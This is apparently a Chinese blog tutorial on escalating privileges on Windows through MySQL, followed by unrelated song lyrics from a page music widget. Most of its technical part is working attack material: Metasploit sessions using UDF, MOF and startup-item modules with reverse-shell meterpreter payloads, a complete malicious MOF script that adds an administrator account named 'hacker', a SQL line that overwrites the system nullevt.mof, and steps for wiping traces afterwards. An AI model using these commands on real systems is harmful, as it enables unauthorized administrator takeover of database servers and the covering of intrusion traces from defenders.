console.log(🍺);|

fan高

园龄:1年7个月粉丝:6关注:0

Windows提权之MySQL数据库提权

mysql数据库提权

前提条件

获得数据库最高权限用户密码

-secure-file-priv没有进行目录限制

如何获取账户密码?

  1. 网站存在最高权限SQL注入点

  2. 数据库的存储文件或者备份文件

  3. 网站应用源码中的数据库配置文件

  4. 采用工具或者脚本爆破

UDF提权

UDF是什么

UDF(user defined function) 即用户自定义函数。通过添加新函数,对MySQL的功能进行扩充。

UDF在MySQL<5.1的版本中,导出目录c:/windowssystem

UDF在MySQL>=5.1的版本中,导出安装目录/lib/plugin/

文件后缀为.dll,常用c语言编写。

如何使用UDF提权

通过select version()查看数据库版本,通过select @@basedir查看根目录。

首先将udf文件放入指定位置,如果没有就手动创建目录 从udf文件中引入自定义函数 执行自定义函数

知道流程后,我们该怎么办呢?可以使用MSF进行dll文件写入。

使用MSF中的exploit/multi/mysql/mysql_udf_payload模块可以进行UDF提权,MSF会将dll文件写入lib/plugin目录下(前提是该目录存在,没有则需要手工创建),该dll文件中包含sys_exec()sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建sys_eval()函数,;来执行有回显的命令。

使用MSF,数据库要开启外链

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

image-20231029174234587

┌──(root㉿kali)-[~]
└─# msfconsole 
msf6 > use exploit/multi/mysql/mysql_udf_payload 
msf6 exploit(multi/mysql/mysql_udf_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/mysql/mysql_udf_payload) > set password root
password => root
msf6 exploit(multi/mysql/mysql_udf_payload) > set rhosts 10.40.194.186
rhosts => 10.40.194.186
msf6 exploit(multi/mysql/mysql_udf_payload) > run

udf提权原理详解 - ka1n4t - 博客园 (cnblogs.com)

MOF提权

简介

MOF提权是一个有历史的漏洞,基本上在Windows Server 2003的环境下才可以成功

mof是Windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔5秒就会去监控进程创建和死亡。

其就是拥有了MySQL的root权限以后,然后使用root权限去执行我们上传的mof。隔了一定的时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

条件

MySQL为root权限

MySQL有读写 C:/Windows/system32/wbem/mof 的权限

secure-file-priv参数不为null。

提权过程

1.使用MSF自带mof模块提权

use exploit/windows/mysql/mysql_mof
 
# 设置payload
set payload windows/meterpreter/reverse_tcp
 
# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

2.手动写入提权

mof脚本内容

#pragma namespace("\\\\.\\root\\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

将上述mof脚本制作test.mof写入mof目录下,使用SQL语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件:

select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";

提权扫尾工作

痕迹清理:每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。

# 停止 winmgmt 服务
net stop winmgmt
 
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
 
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
 
# 删除创建的用户
net user hacker /delete
 
# 重新启动服务
net start winmgmt

启动项提权

原理

Windows开机的时候都会有一些开机启动的程序,那时候启动的程序权限都是system,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。就是将一段vbs脚本导入到C:\Documents and Settings\All Users\「开始」菜单\程序\启动下,如果重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令。

使用MSF(开外链)

use exploit/windows/mysql/mysql_start_up
set rhosts xxx.xxx.xxx.xxx
set username root
set password root
run

反弹shell提权

Mysql提权之反弹shell_^quxjg$c46496a646d7a9ca23ade2e5dfddc06c7e5efe9a7-CSDN博客

本文作者:fan高

本文链接:https://www.cnblogs.com/fangao/p/17801664.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   fan高  阅读(128)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 I Really Want to Stay At Your House Rosa Walton,Hallie Coggins
I Really Want to Stay At Your House - Rosa Walton,Hallie Coggins
00:00 / 00:00
An audio error has occurred.

作曲 : Rosa Walton

编曲 : Rosa Walton

I couldn't wait for you to come clear the cupboards

But now you're going to leave with nothing but a sign

Another evening I'll be sitting reading in between your lines

Because I miss you all the time

So, get away

So, get away

Another way to feel what you didn't want yourself to know

And let yourself go

You know you didn't lose your self-control

let's start at the rainbow

Turn away

Another way to be where you didn't want yourself to go

Let yourself go

Is that a compromise

So what do you wanna do, what's your point-of-view

So what do you wanna do, what's your point-of-view

There's a party soon do you wanna go

A handshake with you, what's your point-of-view

I'm on top of you, I don't wanna go

'Cause I really wanna stay at your house

And I hope this works out

But you know how much you broke me apart

I'm done with you, I'm ignoring you

I don't wanna know

And I'm aware that you were lying in the gutter

And I'm aware that you were lying in the gutter

'Cause I did everything to be there by your side-ide

So when you tell me I'm the reason I just can't believe the lies

And why do I so want to call you

So what do you wanna do, what's your point-of-view

So what do you wanna do, what's your point-of-view

There's a party soon do you wanna go

A handshake with you, what's your point-of-view

I'm on top of you, I don't wanna go

'Cause I really wanna stay at your house

And I hope this works out

But you know how much you broke me apart

I'm done with you, I'm ignoring you

I don't wanna know

You

You

Oh-oh-oh

I don't know why I'm no-one

So, get away

So, get away

Another way to feel what you didn't want yourself to know

And let yourself go

You know you didn't lose your self-control

Let's start at the rainbow

Turn away

Another way to be where you didn't want yourself to go

Let yourself go

Is that a compromise

So what do you wanna do, what's your point-of-view

So what do you wanna do, what's your point-of-view

There's a party soon do you wanna go

A handshake with you, what's your point-of-view

I'm on top of you, I don't wanna go

'Cause I really wanna stay at your house

and I hope this works out

But you know how much you broke me apart

I'm done with you, I'm ignoring you

I don't wanna know